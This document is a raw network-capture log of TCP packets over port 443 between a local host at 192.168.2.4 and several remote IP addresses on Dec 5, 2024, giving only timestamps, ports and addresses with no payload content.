Dec 5, 2024 22:16:30.662600994 CET	443	49767	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:30.704138041 CET	49767	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:30.939450026 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:30.939594984 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:30.939630032 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:30.939640045 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:30.939652920 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:30.939683914 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:30.939699888 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:30.939708948 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:30.939744949 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:30.940196991 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:30.948115110 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:30.948163033 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:30.948170900 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:30.963409901 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:30.963479042 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:30.963486910 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.017669916 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.059376001 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.112116098 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.112124920 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.114167929 CET	443	49767	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.114248037 CET	443	49767	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.114310026 CET	49767	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.115879059 CET	49767	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.115900993 CET	443	49767	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.122726917 CET	49768	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:31.122742891 CET	443	49768	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:31.122807026 CET	49768	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:31.123018980 CET	49768	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:31.123030901 CET	443	49768	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:31.134205103 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.134293079 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.134300947 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.140548944 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.140611887 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.140619993 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.148919106 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.148971081 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.148978949 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.156853914 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.156908035 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.156914949 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.164623976 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.164690971 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.164697886 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.172816992 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.172877073 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.172884941 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.180838108 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.180903912 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.180912018 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.196481943 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.196525097 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.196531057 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.202994108 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.203058004 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.203066111 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.209489107 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.209562063 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.209569931 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.216778994 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.216830969 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.216837883 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.224220991 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.224267006 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.224275112 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.266208887 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.322194099 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.325469971 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.325623035 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.325632095 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.330257893 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.330311060 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.330317974 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.339670897 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.339730978 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.339737892 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.339903116 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.344263077 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.344270945 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.344326973 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.348494053 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.348570108 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.356810093 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.356817007 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.356868982 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.361150026 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.361155987 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.361211061 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.369560003 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.369616985 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.377370119 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.377427101 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.381700039 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.381762028 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.389834881 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.389890909 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.397959948 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.398045063 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.402172089 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.402237892 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.410319090 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.410413980 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.418524027 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.418586016 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.424704075 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.424782038 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.523061991 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.523137093 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.527494907 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.527654886 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.533909082 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.533957958 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.533974886 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.533982992 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.533993006 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.534038067 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.534086943 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.534109116 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.534116030 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.536922932 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:31.536967039 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:31.537055969 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:31.537240982 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:31.537255049 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:31.555300951 CET	49755	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:31.599338055 CET	443	49755	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:31.681628942 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.681657076 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.681725025 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.681956053 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:31.681968927 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:31.893126011 CET	443	49755	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:31.893198013 CET	443	49755	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:31.893248081 CET	49755	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:31.894119024 CET	49755	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:31.894130945 CET	443	49755	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:32.034192085 CET	49771	443	192.168.2.4	35.190.80.1
Dec 5, 2024 22:16:32.034231901 CET	443	49771	35.190.80.1	192.168.2.4
Dec 5, 2024 22:16:32.034312010 CET	49771	443	192.168.2.4	35.190.80.1
Dec 5, 2024 22:16:32.034526110 CET	49771	443	192.168.2.4	35.190.80.1
Dec 5, 2024 22:16:32.034543037 CET	443	49771	35.190.80.1	192.168.2.4
Dec 5, 2024 22:16:32.333476067 CET	443	49768	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:32.333745003 CET	49768	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:32.333770037 CET	443	49768	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:32.334110975 CET	443	49768	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:32.334569931 CET	49768	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:32.334639072 CET	443	49768	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:32.334726095 CET	49768	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:32.375336885 CET	443	49768	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:32.758351088 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:32.758779049 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:32.758800030 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:32.759210110 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:32.759612083 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:32.759695053 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:32.759783983 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:32.781244993 CET	443	49768	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:32.781316996 CET	443	49768	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:32.781372070 CET	49768	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:32.784778118 CET	49768	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:32.784790039 CET	443	49768	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:32.803356886 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:32.901675940 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:32.904974937 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:32.904989958 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:32.905322075 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:32.915116072 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:32.915184975 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:32.915433884 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:32.915465117 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:32.915518999 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.203738928 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.203792095 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.203823090 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.203855991 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.203864098 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.203879118 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.203907967 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.204027891 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.204081059 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.204087973 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.217890024 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.217936039 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.217947960 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.226291895 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.226355076 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.226361990 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.259823084 CET	443	49771	35.190.80.1	192.168.2.4
Dec 5, 2024 22:16:33.260077953 CET	49771	443	192.168.2.4	35.190.80.1
Dec 5, 2024 22:16:33.260091066 CET	443	49771	35.190.80.1	192.168.2.4
Dec 5, 2024 22:16:33.261092901 CET	443	49771	35.190.80.1	192.168.2.4
Dec 5, 2024 22:16:33.261154890 CET	49771	443	192.168.2.4	35.190.80.1
Dec 5, 2024 22:16:33.262151003 CET	49771	443	192.168.2.4	35.190.80.1
Dec 5, 2024 22:16:33.262212992 CET	443	49771	35.190.80.1	192.168.2.4
Dec 5, 2024 22:16:33.262332916 CET	49771	443	192.168.2.4	35.190.80.1
Dec 5, 2024 22:16:33.262341022 CET	443	49771	35.190.80.1	192.168.2.4
Dec 5, 2024 22:16:33.274836063 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.306350946 CET	49771	443	192.168.2.4	35.190.80.1
Dec 5, 2024 22:16:33.323457003 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.367978096 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.367986917 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.399398088 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.399466038 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.399476051 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.407202005 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.407474041 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.407480955 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.410326958 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.410377026 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.410382986 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.411017895 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.411061049 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.411096096 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.411130905 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.411147118 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.411168098 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.411180973 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.411282063 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.411329031 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.411338091 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.422338009 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.422624111 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.422631979 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.425880909 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.426029921 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.426035881 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.430804968 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.433048964 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.433056116 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.433794975 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.433845043 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.433850050 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.441580057 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.441637993 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.441643953 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.449390888 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.449440956 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.449450016 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.457307100 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.457359076 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.457365036 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.465221882 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.465276957 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.465282917 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.472240925 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.472291946 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.472296953 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.476511002 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.479255915 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.482763052 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.482770920 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.493114948 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.494761944 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.494779110 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.530786991 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.539019108 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.586308956 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.586318016 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.588296890 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.591480970 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.591531038 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.591536999 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.591547012 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.591758966 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.596195936 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.605654001 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.605734110 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.605740070 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.605844975 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.610435009 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.610443115 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.610500097 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.614531994 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.614576101 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.615483999 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.615542889 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.615550995 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.623169899 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.623177052 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.623226881 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.623574018 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.623619080 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.623625994 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.627473116 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.627480030 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.627530098 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.631750107 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.631782055 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.631795883 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.631803989 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.632185936 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.635921955 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.635988951 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.639988899 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.644234896 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.644308090 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.648185015 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.648231983 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.648238897 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.652631044 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.652682066 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.656366110 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.656411886 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.656418085 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.657004118 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.657052040 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.664486885 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.664541960 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.664547920 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.665255070 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.665314913 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.669661045 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.669715881 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.672614098 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.672671080 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.672678947 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.678208113 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.678267002 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.687824011 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.687860966 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.687889099 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.687895060 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.688668966 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.688745022 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.688745975 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.688750029 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.688762903 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.688811064 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.688905954 CET	49769	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:33.688920021 CET	443	49769	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:33.692555904 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.700748920 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.700787067 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.700804949 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.700810909 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.701105118 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.707164049 CET	443	49770	104.18.95.41	192.168.2.4
